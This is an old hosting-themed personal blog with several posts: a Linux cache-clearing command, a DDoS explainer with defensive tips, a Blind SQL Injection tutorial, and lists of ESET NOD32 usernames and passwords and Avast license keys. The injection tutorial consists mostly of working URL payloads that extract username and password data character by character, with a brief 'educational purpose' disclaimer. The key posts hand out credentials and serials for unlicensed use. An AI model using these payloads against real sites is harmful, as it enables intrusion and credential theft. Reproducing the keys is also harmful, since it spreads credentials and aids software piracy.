Cpanel Hosting

Wednesday, 6 February 2013

Clear/Free/Remove Cache memory from Linux Server


Clear/Free/Remove Cache memory from Linux Server
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Please use belwo command to clear Cache memory from Linux Server
free -m
echo 1 > /proc/sys/vm/drop_caches
=======
eg :
BEFORE :
root@lnx [~]# free -m
total used free shared buffers cached
Mem: 12001 11614 386 0 2026 6996
-/+ buffers/cache: 2592 9409
Swap: 1907 0 1907
root@lnx [~]# echo 1 > /proc/sys/vm/drop_caches
AFTER :
root@lnx [~]# free -m
total used free shared buffers cached
Mem: 12001 2796 9205 0 5 390
-/+ buffers/cache: 2401 9600
Swap: 1907 0 1907
=========

Saturday, 17 March 2012

Understanding DDOS Attack !!!


What is DDos Attack ?


Compromised PCs, or “bots,” are formed into groups called “botnets” and are used as weapons by cyber-attackers to launch various forms of cyber attacks. These attacks range widely from DDoS to identity theft and clandestine intelligence gathering operations.
During Distributed Denial of Service attempts, attackers launch attacks using different techniques including HTTP, HTTPS, ICMP, SYN Floods, UDP Floods, DNS Request Floods, GET Floods, and others. The attack components are often used in combination, and range in size from a few hundred megabits per second (Mbps) to over 80 gigabits per second (Gbps). Increasingly sophisticated attacks are based around application requests at Layer-7.
Normally, DDOS consists of 3 parts . One is the Master ,Other the slave and atlast the victim. The master is the attack launcher ie the person/machine behind all this,sound’s COOL right . The slave is the network which is being compromised by the Master and Victim is the target site/server . Master informs the compromised machines, so called slaves to launch attack on the victim’s site/machine. Hence its also called co-ordinated attack.


How do they Do it ?


DDOS is done in 2 phases. In the first phase they try to compromise weak machines in different networks around the world. This phase is called Intrusion Phase. Its in the next phase that they install DDOS tools and starts attacking the victims machines/site. This Phase is called Distributed DoS attacks phase.


What Allowed them to Do ?

Vulnerable softwares/Applications running on a machine or network.
Open network setup.
Network/ machine setup without taking security into account.
No monitoring or DataAnalysis are being conducted.
No regular Audit / Software upgrades being conducted.
First Identify if you are really under attack. If yes, follow the below steps :
Check if your machines load is high and you have large number of HTTP process running.

To find the load just use the command w or uptime -
Eg:
ashish@localhost>w 12:00:36 up 1 day, 20:27, 5 users, load average: 0.70, 0.70, 0.57
USER XYZ FROM LOGIN@ IDLE JCPU PCPU WHAT
To find if there is large number of HTTP process running use the command ” ps -aux|grep HTTP|wc -l ”
Eg:
[ashish@localhost]# ps -aux|grep HTTP|wc -l
23
In a heavy server , the number of connection will go above 100. But during DDOS attack, the number will go even higher and thats when we need to find out from which all networks are these attacks coming. In DDOS the host machine doesn’t have much importance. Its the network which is of importance here because, an attacker will use any machine on the compromised network or even will use all the machines in the network. Hence network address is of importance while fighting with the attack.
However, there are some actions you can take to protect yourself. Here's some basic advice:
Ensure that you have adequate bandwidth on your Internet connection. You'll be able to foil many low-scale DDoS attacks by simply having enough bandwidth (and processing power) to service the requests.
Deploy an intrusion prevention system on your network. Some (but definitely not all) DDoS attacks have recognizable signatures that an IPS can detect and use to prevent the requests from reaching the Web server.
Use a DDoS prevention appliance, including any of the Cisco Systems Inc. Cisco Guard products, that is specifically designed to identify and thwart distributed denial-of-service attacks.
Maintain a backup Internet connection with a separate pool of IP addresses for critical users. While you won't be able to switch all access to your website over to a backup connection (the attacks will switch at the same time!), you can provide critical users with an alternate path to your site if the primary circuit is swamped with bogus requests.

These tips should get you started on the road toward building a hardy Web infrastructure with the highest probability of surviving a DDoS attack. Good luck!

Thursday, 23 February 2012

Blind SQL Injection Tutorial !!!!!





Blind injection is a little more complicated the classic injection but it can be done :D 


It's some what hard but good to Learn 


1) http://www.site.com/news.php?id=5


when we execute this, we see some page and articles on that page, pictures etc... then when we want to test it for blind sql injection attack


2) http://www.site.com/news.php?id=5 and 1=1 <--- this is always true


and the page loads normally, that's ok.now the real test


3) http://www.site.com/news.php?id=5 and 1=2 <--- this is false


so if some text, picture or some content is missing on returned page then that site is vulrnable to blind sql injection.Hacker's Work Started :) 


1) Get the MySQL version


to get the version in blind attack we use substring 
i.e
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4


this should return TRUE if the version of MySQL is 4.replace 4 with 5, and if query return TRUE then the version is 5. 
i.e
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5


2) Test if subselect works 
when select don't work then we use subselect 
i.e
http://www.site.com/news.php?id=5 and (select 1)=1 


if page loads normally then subselects work.then we gonna see if we have access to mysql.user
i.e
http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1


if page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE.


3). Check table and column names.This is part when guessing is the best friend for Hacker ...
i.e.
http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)


then if the page loads normally without content missing, the table users exits.
if you get FALSE (some article missing), just change table name until you guess the right one :)


let's say that we have found that table name is users, now what we need is column name. 
the same as table name, we start guessing. Like i said before try the common names for columns.
i.e.
http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1


if the page loads normally we know that column name is password (if we get false then try common names or just guess) 
here we merge 1 with the column password, then substring returns the first character (,1,1)




4). Pull data from database
we found table users i columns username password so we gonna pull characters from that.


http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80


ok this here pulls the first character from first user in table users. 
substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value and then compare it with simbol greater then > .
 so if the ascii char greater then 80, the page loads normally. (TRUE)
 we keep trying until we get false.


http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95


we get TRUE, keep incrementing


http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98


TRUE again, higher


http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99


FALSE!!!


so the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'.


then let's check the second character.


http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99


Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght)


http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99


TRUE, the page loads normally, higher.


http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107


FALSE, lower number.


http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104


TRUE, higher.


http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105


FALSE!!!


we know that the second character is char(105) and that is 'i'. We have 'ci' so far
 so keep incrementing until you get the end. (when >0 returns false we know that we have reach the end).
 There are some tools for Blind SQL Injection, i think sqlmap is the best, but i'm doing everything manually,
 cause that makes you better SQL INJECTOR :D


NOTE: This is just for Educational Purpose.

Tuesday, 6 December 2011

ESET Nod32 Keys Username And Password !!!

Hello Friends,
Here are  some Fresh Username and Password for ESET NOD32 Antivirus.. :-
)

Username: EAV-51526916
Password: kpvr48kr5n
Expiration: 13/03/2017

Username: EAV-54108373
Password: sm6rr8rmdj
Expiration: 29/04/2017

Username: EAV-54108377
Password: pnkxjm4rua
Expiration: 29/04/2017

Username: EAV-54108379
Password: vckucfdev5
Expiration: 29/04/2017

Username: TRIAL-56225335
Password: 78c5pfcrhn
Expiration: 29/12/2011

Username: TRIAL-56225342
Password: ts3a7caesf
Expiration: 29/12/2011

Username: TRIAL-56225354
Password: auvdaptrtd
Expiration: 29/12/2011

Username: TRIAL-56225364
Password: 54jfje4664
Expiration: 29/12/2011

Username: TRIAL-56277215
Password: 68kt7taxre
Expiration: 30/12/2011

Username: TRIAL-56277229
Password: dsan686r5r
Expiration: 30/12/2011

Username: TRIAL-56277239
Password: a3vrexd6ee
Expiration: 30/12/2011

Username: TRIAL-56277247
Password: jdcru3bmxs
Expiration: 30/12/2011

Username: TRIAL-56277259
Password: rs826jj82u
Expiration: 30/12/2011

Username: TRIAL-56277449
Password: 2xv2s3tfu3
Expiration: 30/12/2011

Username: TRIAL-56277453
Password: dbusepfuxp
Expiration: 30/12/2011

Username: TRIAL-56277460
Password: t7j44r4t7p
Expiration: 30/12/2011

Thursday, 1 December 2011

Free Antivirus Avast 4.8 Professional License Keys !!!

Hello Friends ,

 Today I will Give you Avast 4.8 Professional License Keys !!



1) First Download Avast
2) Then Install The Antivirus .
3) After that go to Maintenance ==> Registration ==> Insert the License Key ..
 
Serials last till to 1 may 2012!

S/N:W3446436R8800P1106-FX9VZPYF
S/N:W9685010R8800L1106-ZVDWCSCK
S/N:W3518199R8800K1106-WNYVBKA6
S/N:W9237226R8800E1106-M8X7LFND
S/N:W1112550R8800F1106-HD4RXPKT
S/N:W2548301R8800J1106-LUF4R92C
S/N:W9465601R8800U1106-2R4XVTFY
S/N:W7760656R8800A1106-398KP8FZ
S/N:W9654686R8800U1106-6L51HC20
S/N:W8598235R8800D1106-BMCW3VNR
S/N:S9097868R9097F1106-CRUDS1Y2  

 Serials Last till to 2013-2016 years

S/N:W7444164R9965A0911-KAJBBSDL
S/N:W1003130R9975A0912-RCUR86KL
S/N:W5299231R9973A0911-4PN0Y545
S/N:W7630705R9946A0912-D3EFM38L
S/N:W4264775R9967A0911-6ZSDBUL9
S/N:S8128161R9977A0911-FAM7JJH8
S/N:S1464458R9970A0912-9M3D30L4
S/N:S1122519R9970A0911-2WLUXS0Y
S/N:S1902164R9954A0911-7FNEU1BC
S/N:C5101589R9945A0910-PX0H0W8S
S/N:C2080008R9941A0911-N9H4S8YM
S/N:C7987628R9972A0910-BE721D8S